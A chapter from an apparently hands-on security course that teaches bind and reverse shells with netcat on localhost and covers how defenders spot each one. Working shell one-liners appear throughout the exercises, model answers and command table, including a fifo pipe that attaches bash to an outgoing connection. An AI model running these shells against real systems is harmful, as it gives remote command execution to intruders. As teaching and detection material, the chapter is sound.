Step 118. Bind Shells vs. Reverse Shells — The Connection’s Direction Is Everything

Step 118. Bind Shells vs. Reverse Shells — The Connection’s Direction Is Everything

Level 2 — Introduction to Security and the Basics of Attack Skills | Difficulty ★★★★☆ | Estimated time: 3 hours

Prerequisites: you experienced your first shell in Step 117 (the backdoor shell attached to port 6200). You know Step 77’s socket concept (the waiting side and the calling side). You can open two terminals.

  • What you need: two Linux/WSL terminals and nc. Today we build both protagonists by hand, entirely inside your own computer (127.0.0.1).
  • Caution: ⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime. Every nc exercise in this chapter was measured on 127.0.0.1 in WSL Linux.

Step 117’s backdoor shell took the shape of "the target opens a door and waits, and we knock." But real-world targets mostly hide behind firewalls and NAT, so the very door I would knock on is invisible from outside. So we reverse the direction — we make the target come to us. Today we build both a bind shell and a reverse shell by hand, and learn why the one-line difference of "who waits and who calls" governs real-world design.


1. Learning Objectives

By the end of this chapter, you will be able to:

  • Build a bind shell and a reverse shell with nc and execute commands through each
  • Draw the connection direction of both shells (who listens and who connects)
  • Explain why firewalls and NAT block bind shells
  • Judge which shell to choose depending on the situation (the target’s location, the nature of my address)
  • Classify which kind Step 117’s vsftpd backdoor was

2. Background Knowledge — Today’s Tools and Concepts

Today’s Tools at a Glance

Category Details
Language/environment Two Linux/WSL terminals, nc (OpenBSD edition), fifo pipes
Today’s commands nc -l -p port (listener), nc target port (connect), mkfifo + pipe combinations
Concepts needed The direction of listen/connect, firewalls and NAT (Step 38), Step 117’s fifo shell technique
Today’s artifact A diagram of both shells’ connection directions + a one-page guide for choosing by situation

2-1. The Essence of a Shell — Only the Direction Differs

The essence of the thing called a shell is simple: "attach bash to one end of a network connection." The connecting side issues commands, the attached bash executes them, and the results ride the connection back. Exactly what we made with a fifo in Step 117.

But this thing has one free variable left: who opens the connection first. In the world of sockets, a conversation is always a meeting of "the waiting side (listen)" and "the calling side (connect)" (Step 77). The two kinds of shells are merely a difference in this casting.

2-2. Bind Shells — The Victim Opens the Door

Bind shell: the victim computer opens a port and waits (listen); the attacker connects to that port (connect). Step 117’s vsftpd backdoor was exactly this — the backdoor opened port 6200, and we connected.

[attacker]  ──── connect ───▶  [victim :6200 listen] + bash

The strength is simplicity. The weakness is that you "must be able to reach the victim" — if that port is blocked by a firewall, or the victim sits behind NAT so its address isn’t visible from outside at all, there’s no way to knock even though the door is open.

2-3. Reverse Shells — The Victim Comes in Reverse

Reverse shell: we swap the roles. The attacker opens a port and waits (listen); the victim connects (connect) to the attacker — and offers up its own bash attached to that connection.

[victim] + bash  ──── connect ───▶  [attacker :4444 listen]

Why is this the real-world standard? As we learned in Step 38, most networks block incoming connections but allow outgoing ones. A corporate firewall blocks knocks from outside to inside, but it can’t block connections employee PCs make out to servers (web access and the like) — that’s everyday traffic. A victim behind NAT has no path reaching it from outside, but the victim’s path going out is open. So the reverse shell — "the victim comes to me" — becomes the answer.

2-4. Today’s Exercise Structure

Today we build both shells inside your own computer. Terminal 1 and terminal 2 take turns playing "victim" and "attacker." Every address is 127.0.0.1 — the stage is small, but the casting and directions are exactly the same as in the field.


3. Follow Along

3-1. The Bind Shell — The Victim Opens the Door

First, the victim role. Using the fifo technique from Step 117 as-is, open a port and attach a shell (Ubuntu’s OpenBSD nc has no -e — verified by measuring nc -h on 2026-09-09 — so we substitute the fifo).

Input (terminal 1 — plays the victim)

cd /tmp
rm -f f && mkfifo f
cat f | bash 2>&1 | nc -l -p 6200 > f

How to read it: the victim is waiting with bash attached to port 6200. To confirm it’s up, run ss -tlnp | grep 6200 in a third terminal — it shows LISTEN state (measured 2026-09-09).

Input (terminal 2 — plays the attacker)

nc 127.0.0.1 6200
whoami
id

Output (measured 2026-09-09):

root
uid=0(root) gid=0(root) groups=0(root)

How to read it: the attacker knocked on the victim’s door, and the bash behind the door answered. The connection’s direction is attacker → victim. This is a bind shell, the same structure as what we did in Step 117.

Why: confirm with your body first. "The side that opens the door = the side that offers the shell" is the definition of a bind shell.

3-2. A Bind Shell’s Lifespan — When the One Guest Leaves

Type exit in terminal 2, and check again from a third terminal.

Output (measured 2026-09-09):

ss -tlnp | grep 6200
(empty result — the port is closed)

How to read it: when the connection dropped, the victim-side nc listener terminated along with it. This makeshift structure is "single-guest only." To open it again, you must re-run the command in terminal 1. (Real-world tools make it wait again with a -k option or a loop, but the principle is the same.)

Why: while a bind shell is open, it’s plainly visible to a defender’s ss/nmap. "An unfamiliar LISTEN port" is a classic clue of compromise detection — the commands from Steps 34 and 81 become defensive tools here.

3-3. The Reverse Shell — Swapping the Roles

This time, the attacker waits first.

Input (terminal 2 — the attacker goes first this time)

nc -l -p 4444

The cursor blinks and waits. This is the listener — the net the attacker spreads out.

Input (terminal 1 — plays the victim, connecting back to the attacker)

cd /tmp
rm -f g && mkfifo g
cat g | bash 2>&1 | nc 127.0.0.1 4444 > g

How to read it: almost the same as 3-1, but the ending differs — nc -l -p 6200 (waiting) became nc 127.0.0.1 4444 (calling). The victim-side command places a phone call toward the attacker. When the call connects, the victim’s bash attaches to that line.

Input (typed right into terminal 2’s listener screen)

whoami
id
hostname

Output (measured 2026-09-09, the attacker’s listener screen):

root
uid=0(root) gid=0(root) groups=0(root)
XI3492

How to read it: the attacker connected nowhere. It just waited quietly, and the victim came and offered up a shell. The contents of the answers (root, this machine’s hostname) belong to the victim side. Only the connection’s direction flipped; the outcome — "commands on the other computer execute from my screen" — is identical.

Why: this single swap of roles creates every design difference in the field. The next section looks at why.

3-4. Observation — Seeing the Direction Through the Operating System’s Eyes

While the reverse shell is connected, look from a third terminal.

Input (terminal 3)

ss -tnp | grep 4444

Output (measured 2026-09-09, shape):

LISTEN 0 1 0.0.0.0:4444 0.0.0.0:*   ← the attacker (nc -l) waiting
ESTAB  ... 127.0.0.1:4444 ...        ← the connection established

How to read it: the same port 4444 shows two faces — LISTEN (waiting) before connection, ESTAB (established) after. Read through a defender’s eyes, a reverse shell’s trace is not "an open port" but "a suspicious outgoing connection." Remember that the detection clues differ from a bind shell’s.

Why: the habit of looking, whenever you learn an attack technique, at "how does this appear to a defender’s tools?" is this book’s way.

3-5. A Shell with a Prompt — The Difference of bash -i

If we swap the fifo’s bash for bash -i (interactive), will a prompt appear? Let’s try.

Input (terminal 1 — plays the victim, with -i added)

rm -f g && mkfifo g
cat g | bash -i 2>&1 | nc 127.0.0.1 4444 > g

Output (measured 2026-09-09, the attacker’s screen):

]0;root@XI3492: /tmproot@XI3492:/tmp# whoami
root

How to read it: a prompt appeared, but garbled characters like ]0;root@... are mixed in. These are control characters (escape sequences) the interactive shell sends to change the terminal title — since nc is a pipe, not a terminal, it can’t interpret this signal as screen decoration and shows it as-is. Functionally it’s fine, but messy. That’s why makeshift practice shells usually go without -i.

Why: this confirms from the reverse direction 3-2’s sense that "a shell is a shell even without a prompt." And now you also know the identity of the garbled prompts you’ll meet in the field — not a malfunction, but control characters.

3-6. Analysis — Choosing by Situation

Finally, let’s use our heads. Scenario: "the victim is behind a corporate NAT, and I have a public IP."

  • Possible with a bind shell? To connect to the victim’s port 6200, you must reach the victim’s public address (the company router), and the router must forward that port to the inner PC. Generally impossible.
  • With a reverse shell? The victim just needs to connect out to my public IP. Outgoing connections are mostly allowed, so it works.

Which kind was Step 117’s vsftpd backdoor? The backdoor opened port 6200 and waited (listen), and we connected (connect) — so it’s a bind shell. The way Metasploit’s payload names split into bind_* and reverse_* (Step 116’s show payloads) now makes sense.

Why: "the choice of shell is decided not by preference but by the network terrain" — that sentence is today’s conclusion.


4. Missions & Exercises

Mission — Build Both Shells by Hand and Draw the Directions

  1. Reproduce 3-1’s bind shell, connect, and capture the answer to whoami.
  2. Disconnect with exit, then confirm the port closed with ss.
  3. Reproduce 3-3’s reverse shell, and capture the answer to hostname from the listener screen.
  4. Draw a diagram of both shells’ connection directions in your notes — who listens and who connects, with the arrow direction made clear.
  5. Write answers to two scenario cards: ① "the victim and I are on the same lab subnet" ② "the victim is behind a corporate NAT, I have a public IP" — one line each on which shell you’d choose and why.
  6. When the exercise ends, clean up the listener and fifo files.

Exercises

Exercise 1. Organize in a table, for bind shells and reverse shells, which side listens and which side connects — including which side bash attaches to.

Exercise 2. In front of a firewall that "blocks incoming connections and allows outgoing ones," explain why a reverse shell gets through and a bind shell gets blocked.

Exercise 3. A defender’s habit of checking LISTEN ports with ss -tlnp is effective at catching which shell? What must you use to catch the other kind?

Exercise 4. In 3-5, adding -i mixed garbled characters like ]0;root@... into the prompt. State what these are and why there’s no functional problem.


5. Model Answers & Completion Criteria

Mission Model Answer

The reproduction command pair (verified by measurement on 2026-09-09):

# Bind shell — the victim opens and waits
rm -f f && mkfifo f
cat f | bash 2>&1 | nc -l -p 6200 > f        # terminal 1 (victim)
nc 127.0.0.1 6200                             # terminal 2 (attacker)

# Reverse shell — the attacker opens and waits
nc -l -p 4444                                 # terminal 2 (attacker, listener)
rm -f g && mkfifo g
cat g | bash 2>&1 | nc 127.0.0.1 4444 > g     # terminal 1 (victim)

Direction diagram:

bind:     [attacker] ──connect──▶ [victim listen:6200 + bash]
reverse:  [victim + bash] ──connect──▶ [attacker listen:4444]

Scenario answers: ① on the same subnet, bind works too — you reach the victim’s port directly. ② behind NAT, bind is impossible, so reverse — because outgoing connections are allowed.

How to verify: ① Did answers to commands come back through both shells? ② Are the listen/connect roles in the diagram correct? ③ Do the scenario answers include the basis "firewalls/NAT block incoming connections"? ④ Did you confirm with ss that no ports remain after the exercise?

Exercise Answers

Answer 1.

Kind listen (waits) connect (calls) Where bash attaches
Bind shell Victim Attacker Victim (the listen side)
Reverse shell Attacker Victim Victim (the connect side)

The key point: in either case, bash attaches to the victim side. Only the party placing the phone call changes.

Answer 2. A bind shell requires the attacker’s connection to pass through the firewall in the "incoming" direction, so it’s blocked. A reverse shell is an "outgoing" connection initiated by the victim, which the firewall allows like everyday traffic. Since who initiates the connection is the firewall’s criterion, reversing the initiator is the principle of the bypass.

Answer 3. Checking LISTEN is effective against bind shells — an unfamiliar "waiting port" appears on the victim side. A reverse shell has no LISTEN on the victim side, so this method won’t catch it. You must look at outgoing ESTABLISHED connections (persistent connections to suspicious destinations) or process-connection correlations (ss -tnp) — as we confirmed in 3-4.

Answer 4. They’re escape sequences (control characters) the interactive shell (bash -i) sends to set the terminal title bar. Because an nc connection is not a real terminal, it can’t interpret this signal as decoration and prints it literally. Command delivery and execution results are unaffected, so functionally there’s no problem — it’s just ugly to look at (measured 2026-09-09).

Completion Criteria Checklist

  • [ ] I built a bind shell, connected, and confirmed command execution
  • [ ] I built a reverse shell and confirmed command execution from the listener
  • [ ] I drew a diagram of both shells’ listen/connect roles
  • [ ] I can explain why bind shells get blocked in front of firewalls/NAT
  • [ ] I can classify the vsftpd backdoor as a bind shell
  • [ ] I can state each shell’s detection clue (LISTEN port vs. outgoing connection)
  • [ ] I cleaned up the listener, ports, and fifo files after the exercise
  • [ ] Mission: both shells reproduced + direction diagram + scenario cards complete

6. Common Pitfalls & Fixes

Wall 1. I ran the victim before the listener

Symptom (reproduced from the 2026-09-09 measurement): typing the victim side’s nc 127.0.0.1 4444 first fails immediately.

nc: connect to 127.0.0.1 port 4444 (tcp) failed: Connection refused

Cause: calling requires a waiting side to exist. The same event as Step 77’s ConnectionRefusedError.
Fix: fix the order — listener (attacker) first, connection (victim) after. The bind shell likewise: "the opening side first."

Wall 2. It says there’s no nc -e

Symptom (measured 2026-09-09): nc -l -p 4444 -e /bin/bash gives an option error. There’s no -e in the nc -h list.

Cause: Ubuntu/WSL’s OpenBSD nc omits -e for security. Textbook -e examples are based on the traditional nc (like MS2’s nc).
Fix: today’s fifo technique is the answer — rm -f g && mkfifo g && cat g | bash 2>&1 | nc ... > g. Linking bash and nc with pipes has the same effect as -e.

Wall 3. It’s connected but there’s no response at all

Symptom: you ran nc, but there’s no prompt — just a blinking cursor.

Cause: that’s normal. A shell without -i has no prompt, and nc doesn’t greet you even when connected.
Fix: type whoami. If an answer comes, it’s alive. If still nothing comes, check the pipeline configuration (especially whether the fifo filename matches on both sides).

Wall 4. The port won’t close after the exercise

Symptom: you thought you finished, but ss -tlnp still shows a LISTEN.

Cause: you didn’t close the listener window, or only one process in the pipeline terminated.
Fix: clean up the remaining process by the PID in the ss -tlnp output, and delete the fifo files (f, g) in /tmp too. "Closing the door on your way out" is part of the exercise — a leftover listener becomes the cause of Address already in use in the next exercise.

Wall 5. The two shells’ commands are so similar I mix them up

Symptom: the bind and reverse commands differ by one word, and they blur together.

Cause: they really do differ by one word — -l -p port (waiting) versus address port (calling).
Fix: don’t memorize the commands; memorize the picture. "The shell always attaches to the victim; only the party placing the call changes" — with the picture, the commands come out automatically. Attach -l to whichever side must wait.


7. Summary

Today’s Concepts

Concept One-line explanation
Bind shell The victim listens, the attacker connects — the vsftpd backdoor is this
Reverse shell The attacker listens, the victim connects — the field standard
Listener The net the attacker spreads out — nc -l -p port
Connection direction The single variable that decides shell choice — the network terrain decides it
Incoming/outgoing connections A firewall’s default posture — inbound blocked, outbound allowed
The fifo shell technique Pipe engineering that attaches bash to a connection on nc without -e

Today’s Commands

Command What it does
nc -l -p port Listener — the waiting side (the victim in bind, the attacker in reverse)
nc address port Connect — the calling side (the attacker in bind, the victim in reverse)
rm -f g && mkfifo g && cat g | bash 2>&1 | nc ... > g Attaching a shell on OpenBSD nc (the workaround)
ss -tlnp / ss -tnp Check LISTEN ports / check established connections — detection’s two eyes
exit (in the shell) End a shell connection — the first step of cleanup

An Instinct More Important Than Commands

The two shells we learned today are a single technique — "attach bash to the end of a connection." The difference is only who places the phone call, and what decides that party is not my taste but the network terrain. If firewalls and NAT wrap around the victim, the only way is to make the victim come out. That’s why the reverse shell is the field standard, and why defenders must suspect even "outgoing connections."

Looking back, every command today was an application of Step 77’s sockets — the waiting side and the calling side. The echo server we first built was already the seed of all this. That a great deal of attack technique is a rearrangement of the basics like this — and that the person who has built the basics by hand ends up strong. Having finished this chapter, you now read the word "shell" not as magic but as a casting table.


Once every box is checked, Step 118 is complete. Click the checkbox in the sidebar to save your progress.